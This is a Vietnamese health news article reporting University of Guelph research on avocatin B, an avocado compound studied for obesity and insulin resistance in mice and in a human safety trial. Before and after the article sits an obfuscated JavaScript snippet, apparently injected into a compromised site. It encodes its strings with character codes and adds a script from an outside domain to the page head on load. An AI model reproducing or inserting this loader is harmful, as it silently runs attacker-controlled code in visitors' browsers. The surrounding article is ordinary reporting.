Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Quả bơ giúp kiểm soát béo phì, ngăn ngừa bệnh tiểu đường

Theo một nghiên cứu mới của nhóm nghiên cứu của Đại học Guelph, món xốt kem Guacamole từ quả bơ có thể nắm giữ chìa khóa giúp kiểm soát béo phì và giúp trì hoãn hoặc ngăn ngừa bệnh tiểu đường.

Trong một nghiên cứu được công bố gần đây trên tạp chí Phân tử dinh dưỡng và nghiên cứu thực phẩm, các nhà nghiên cứu dẫn đầu bởi Giáo sư Paul Spagnuolo đã chỉ ra làm thế nào một hợp chất chỉ có trong quả bơ có thể ức chế các quá trình tế bào liên quan đến  bệnh béo phìbệnh tiểu đường. Trong thử nghiệm an toàn ở người, nhóm nghiên cứu cũng phát hiện ra rằng chất này được hấp thụ vào máu mà không có tác dụng phụ ở thận, gan hoặc cơ bắp.

Cứ bốn người béo phí tại Canada thì có một người biến chứng thành bệnh tiêu đường loại 2. Bệnh nhân tiểu đường sử dụng insuline để giảm hoặc loại bỏ glucose ra khỏi máu một cách phù hợp. Những biến chứng đó có thể phát sinh khi ty thể, hoặc các nhà máy năng lượng trong tế bào của cơ thể, không thể tiêu thụ hoàn toàn các axit béo.

Thông thường, quá trình oxy hóa axit béo giúp cơ thể đốt cháy chất béo. Bệnh béo phì hoặc bệnh tiểu đường cản trở quá trình đó, dẫn đến quá trình oxy hóa không hoàn toàn và thâm chí bị tắc nghẽn.

Các nhà nghiên cứu của “U of G” đã phát hiện ra rằng avocatin B (AvoB), một phân tử chất béo chỉ có trong bơ, có phản ứng oxy hóa không hoàn toàn trong cơ xương và tuyến tụy để giảm kháng insulin.

Trong nghiên cứu của họ, nhóm nghiên cứu đã cho chuột ăn chế độ ăn nhiều chất béo trong 8 tuần để gây béo phì và kháng insulin. Trong năm tuần tiếp theo, họ đã thêm AvoB vào chế độ ăn giàu chất béo của một nửa số chuột.

Những con chuột được điều trị AvoB có tốc độ tăng cân chậm so với những con trong nhóm đối chứng. Quan trọng hơn cả, những con chuột được điều trị AvoB cho thấy độ nhạy insulin cao hơn, có nghĩa là cơ thể chúng có thể hấp thụ và đốt cháy đường huyết và cải thiện phản ứng với insulin.

Trong một nghiên cứu lâm sàng ở người, AvoB được dùng như một chất bổ sung chế độ ăn uống cho những người tham gia ăn chế độ ăn phương Tây điển hình được hấp thụ an toàn vào máu mà không ảnh hưởng đến thận, gan hoặc cơ xương. Nhóm nghiên cứu cũng chứng kiến ​​việc giảm trọng lượng ở người, mặc dù Spagnuolo cho biết kết quả này không có ý nghĩa thống kê.

Đã có chứng minh an toàn của phương pháp này với người, họ dự định tiến hành các thử nghiệm lâm sàng để kiểm tra hiệu quả của AvoB trong điều trị bệnh chuyển hóa ở người.

Các thử nghiệm an toàn đã giúp nhóm nghiên cứu xác định lượng AvoB cần bao nhiêu trong công thức bổ sung.

Nhận được sự chấp thuận của Bộ Y tế Canada đối với hợp chất này dưới dạng bổ sung cho con người, ông sẽ bắt đầu bán nó dưới dạng bột và thuốc ngay sau năm 2020 thông qua SP Nutroffees Inc., một công ty sản phẩm chăm sóc sức khỏe tự nhiên có trụ sở tại Burlington.

Ăn quả bơ theo cách tự nhiên sẽ không mang lại hiệu quả tốt, vì hàm lượng bơ AvoB tự nhiên rất khác nhau tùy thuộc vào nguồn gốc, giống quả bơ và chúng ta vẫn chưa hiểu chính xác cách nó được tiêu hóa và hấp thụ khi chúng ta tiêu thụ toàn bộ quả bơ.

Quả bơ đã được quảng cáo là một loại thực phẩm giảm cân hiệu quả, cộng thêm một chế độ ăn uống và tập thể dục lành mạnh sẽ giúpngăn ngừa rối loạn chuyển hóa dẫn đến béo phì hoặc tiểu đường.

Nghiên cứu sinh Nawaz Ahmed cho biết: “Chúng tôi ủng hộ chế độ ăn uống và tập thể dục lành mạnh là giải pháp cho các vấn đề chuyển hóa, tuy nhiên, thực hiện chế độ sinh hoạt như vậy tương đối khó khăn với một số người. Trong nhiều thập kỷ, và béo phì và tiểu đường vẫn là một vấn đề sức khỏe đáng lo ngại.”

(Dunji, Sưu tầm và biên soạn)

 

Digiprove sealCopyright secured by Digiprove © 2019 Tran  Minh
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();